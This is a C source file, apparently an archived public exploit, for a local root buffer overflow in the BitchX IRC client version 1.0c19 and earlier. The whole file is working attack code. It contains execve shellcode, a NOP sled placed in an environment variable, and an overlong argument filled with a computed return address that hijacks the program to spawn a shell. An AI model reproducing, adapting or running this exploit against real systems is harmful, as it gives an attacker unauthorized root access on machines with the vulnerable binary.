// BitchX 1.0c19 Local Root Exploit (suid?)

// BitchX local-root by Sha0 (version 1.0c19 e inferiores -todas-)
// este exploit se lo dedico a mi chica.
// 0xC0000000-4-strlen(argv[1])-1-strlen(buffer)
// 2052 to the ret

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char payload[69];
char sha0code[] =
 "\xeb\x16\x5b\x31\xc0"
 "\x50\x53\xb0\x0b\x89"
 "\xdb\x89\xe1\x31\xd2"
 "\xcd\x80\x31\xc0\x40"
 "\x31\xdb\xcd\x80\xe8"
 "\xe5\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68";


void nopea (void);

int main (int argc, char **argv) {
 
 char *buff;
 char *arg1="bash";
 char *arg2="-c";
 char *arg[]={arg1,arg2,buff,NULL};
 char *env[]={"TERM=xterm",payload,NULL};
 char offset[]="";
 char sret[4];
 unsigned long lret;
 int i;

 if (argc != 2) {
  fprintf (stdout,"BitchX exploit Coded By Sha0\n");
  fprintf (stdout,"ej: %s /usr/bin/BitchX\n\n",argv[0]);
  return (1);
 }

 buff = (char *)malloc (2100);
 bzero (buff,sizeof(buff));
 arg[2] = buff;
 
 nopea ();

 lret = 0xbffffffa - strlen(payload) - strlen(argv[1]);
 sret[0] = (0x000000ff & lret);
 sret[1] = (0x0000ff00 & lret) >> 8;
 sret[2] = (0x00ff0000 & lret) >> 16;
 sret[3] = (0xff000000 & lret) >> 24;

 for (i=0;i<2088;i+=4) // 2088 tirando largo.
  memcpy (buff+i,sret,4);

 execve (argv[1],arg,env);
 perror ("execve()");

 free (buff);
 return (0);
}


void nopea (void) {
        bzero (payload,sizeof(payload));
        memset (payload,0x90,sizeof(payload)-1);
        memcpy (payload+sizeof(payload)-strlen(sha0code)-1,sha0code,strlen(sha0code));
}

// milw0rm.com [2004-10-20]
